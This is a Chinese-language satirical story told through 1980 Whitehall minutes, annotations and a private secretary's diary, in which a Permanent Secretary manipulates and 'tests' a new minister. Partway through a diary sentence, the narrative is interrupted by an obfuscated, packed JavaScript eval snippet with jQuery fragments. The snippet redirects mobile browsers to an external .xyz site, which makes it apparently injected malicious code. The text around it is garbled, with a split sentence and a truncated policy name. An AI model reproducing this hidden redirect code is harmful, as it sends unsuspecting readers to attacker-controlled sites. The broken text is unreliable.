送阅备忘 - Minute
内阁办公厅 - Cab Office
编号（Ref）：CO/DSC/APS/IDISLM/Note/80-01
收件人（To）：Sir Albert Sackville, Cab Secretary
发件人（From）：A. Cavendish, Acting Permanent Secretary, DSC
日期（Date）：24 January 1980
主题（Subject）：DSC首次IDISLM会议进展（非约束性联络机制；月度概况）
Sir Albert,
协同协调部已召集首次跨部门“信息共享”讨论。参会的出席率与代表级别，反映出当前的优先序列与敏感点。原则上同意建立非约束的联络官机制，以及一份低风险的月度“信息流动概况”简报。我们未寻求、亦未施加任何强制性共享承诺。
观察 - 仅供您阅（for your eyes only）：
各部门更偏好以程序性话语表述；其回避技巧大致对应预算或主权层面的关切；
国防部关于南大西洋巡逻排期“延误”的只字片语，已记为“仅观察”（不作引申）；
海德大臣主持会议投入度高；后续就“以流程为工具”的预期仍需校准。
对10号的对外呈报将保持“建设性”的观感，同时我们将在台下持续推进对“信息版图”的安静梳理。
A. Cavendish
艾伯特爵士的回复便笺（由通讯员送回）：
Ally,
对外口径保持“积极而不过度”，避免新增正式机制。
MoD如有任何升级迹象，先口头告知。
给10号的文字力求短而稳，附件从简。（Attachments kept to a minimum.）
A.S. 24.01.80
——
——
——
备忘录（MEMORANDUM）
协同协调部 - Department of Synergy Coordination
编号（Ref）：DSC/MIN/OBS/002/80
收件人（To）：A. Cavendish, Acting Perm Sec
发件人（From）：C. Astley, PPS
日期（Date）：24 January 1980
主题（Subject）：IDISLM会后观察及大臣状态简报
Sir,
谨就会议后至今日上午海德大臣的状态与初步行动，简要汇报如下：
1、情绪与状态（Mood & Status）：
大臣情绪已从昨日的挫败感转为专注的、略带审视的平静。大部分时间在办公室踱步，或在白板前沉思。未再对会议本身发表负面评论。
2、白板使用情况（Whiteboard Usage）：
白板已成为其核心思考工具，目前记录的主要词条（见末尾附件）
3、报告起草（Report Drafting）：
大臣已开始着手草拟呈报首相府的会议报告，基本采纳了您提供的“建设性”框架。他要求我提供所有与会代表发言的逐字稿（已提交）。
4、南大西洋延误备注（South Atlantic ''Delays'' Note）：
关于国防部代表提及的此项，我已录入观察清单。请问，在内部归档时，我应如何界定其优先级？是归为“常规部门间杂音（Routine Inter-departmental Noise）”，还是“低信号潜在事件（Low-signal Potential Event）”？
5、后勤需求（Logistics）：
大臣要求补充更多颜色的白板马克笔。
我将继续观察，并确保报告草案按时完成。
C. Astley
阿利斯泰手写批注：
挫败是催化剂。他的沉默比他的抱怨包含更多信息。观察其产出。
视觉化是他的流程。每日记录关键词。那是他意图演变的地图。【用线框住了那几个关键词，并批注。】
在被证实为杂音前，一切皆为信号（Everything is signal until proven otherwise. ）。归档至“应急预案–海军资产”项下。与财政部最新的国防预算审查备忘录进行交叉索引。不要标记为“潜在（potential）”，仅记录事实与来源。标签是之后的事。【在“如何界定其优先级？”下方，划了一道清晰的横线】
给他，确保他永远不会用完。一个中断的思考流程是无需有的失误。
A.C. 24.01.80
西里尔抄录的便笺——查尔斯·海德24.01.80在白板上的涂鸦（部分摘录）：
信息（Information） = 货币（Currency）？
协同（Collaboration） vs 控制（Control）：在白厅是同义词？
联络官（DLOs）= 门路还是死路？得试试。（Doorways or dead ends? Test.）
海上“延误”——他们说是例行公事。例行公事（Routine） ≠无关紧要（Irrelevant）。
报告：说点真话，但别说任何会着火的话。（Say something true without saying anything inflammable.）
告诫自己：别让地图取代了实地。（Don’t let the map replace the terrain.）
——
——
——
西里尔的日记
1980年1月25日，星期五 | 伦敦，白厅 | 阴，偶有小雨
IDISLM的余波仍在办公室无声回荡。气氛很奇特，不再是周一那种剑拔弩张，变成了一种心照不宣的平静，有点像暴风雨后表面无浪的海，水下暗流涌动。
大臣一上午都待在办公室里，对着那块巨大的白板。他不像前两天那样焦躁地踱步，站得很近，用黑色马克笔在上面画着什么。我送文件进去时瞥了一眼，那是一张复杂的网络图。一个个部门名称被圈起来，像孤岛，之间用虚线连接，线上标注着各种词：“程序”、“安全”、“预算”、“主权”……甚至还有人名。他正在用自己的方式，绘制Sir昨天提到的那张“地图”。看到这一幕，我莫名松了口气。他没有被挫败击垮，开始在用他的方式理解并反击。
下午，Sir召我进他办公室。他的办公室和我上次进去时一样，整洁得像没人用过，只有发文篮里多了几份文件。他没有提昨天的会议，递给我一份来自农业、渔业和食品部（Ministry of Agriculture, Fisheries
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294773|182690||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
and Food）的内部通报。
“西里尔。”他的语气一如既往地简洁，“MAFF和环境部在鳕鱼配额和近海排污标准上有长期分歧。近年围绕欧洲共同渔业政策mon Fisheries Policy, CFP）的配额分配、以及北海/北大西洋渔场的压力，加剧了渔民的焦虑。MAFF希望大臣下周去一趟康沃尔，安抚地方情绪。同时，旅游局也发来邀请，希望大臣能为当地的海鲜节揭幕。同一个港口，同一天。”
我立刻明白了其中的凶险。“Sir，这……这简直是政治陷阱。”
“一个机会，西里尔。”他纠正道，“一个测试大臣在现实压力下处理多方矛盾能力的机会。去把相关背景材料整理好，做一份简报，列出所有潜在的利益冲突方和他们的核心诉求。客观，详尽。”
我点头称是，退了出来。拿着这份通报，我感觉自己像是被派去给大臣亲手布置陷阱。只是不知道，这陷阱最终会困住谁。
——
——
——
备忘录 (MEMORANDUM)
私人备忘录 - Note for File
编号（Ref）：CH/OBS/003/80
收件人（To）：A. Cavendish, Acting Perm. Sec.
发件人（From）：A. Cavendish, Acting Perm. Sec.
日期（Date）：25 January 1980
主题（Subject）：海德的适应性初期评估及下一阶段测试规划
1. 对IDISLM会议的反应评估:
初步反应: 表现出显著的挫败感与理想主义受挫情绪，符合预期。对官僚程序的直接对抗行为（Direct Confrontation）验证了其行动派（Action-Oriented）特质。
次级反应: 已开始吸收“信息即货币”概念。其在白板上绘制的“部门关系与壁垒图”（Departmental Relationship & Barrier Mapping）显示出他正试图将抽象的权力结构转化为可视化模型。这是一个积极信号，表明其具备将战略概念转化为可操作分析的能力，尽管方式尚显粗糙。
2. 下一阶段测试规划：
目标:
a) 测试其在脱离白厅理论环境后，处理地方性、高可见度、多方利益冲突的实际能力。
b) 评估其在媒体压力下的即兴表现与危机控制能力。
c) 创造一个“可控的失败”或“代价高昂的成功”，以此为契机，向内阁办公厅申请将“重大地方访问跨部门预协调”纳入DSC的正式职权范围。
情景设计: MAFF（渔业危机研讨会）与旅游局（海鲜节开幕）的日程冲突，本质是“生产衰退”与“消费繁荣”的根本矛盾。将大臣置于此矛盾中心，可最大化其决策压力。
执行: 已指示PPS（Cyril）准备背景简报。Cyril的执行力与忠诚度在可接受范围内，其观察记录将作为评估的重要依据。
3. 结论:
大臣正从“理想主义对抗”阶段，缓慢过渡至“现实主义适应”阶段。此过程需加以引导和……催化。康沃尔情景将是有效的催化剂。
DSC的权力基础，必须建立在一系列被成功“协调”的、其他部门的“失败”之上。我们不制造问题，我们只是确保在问题出现时，最先将其导入可控轨道。
A.C.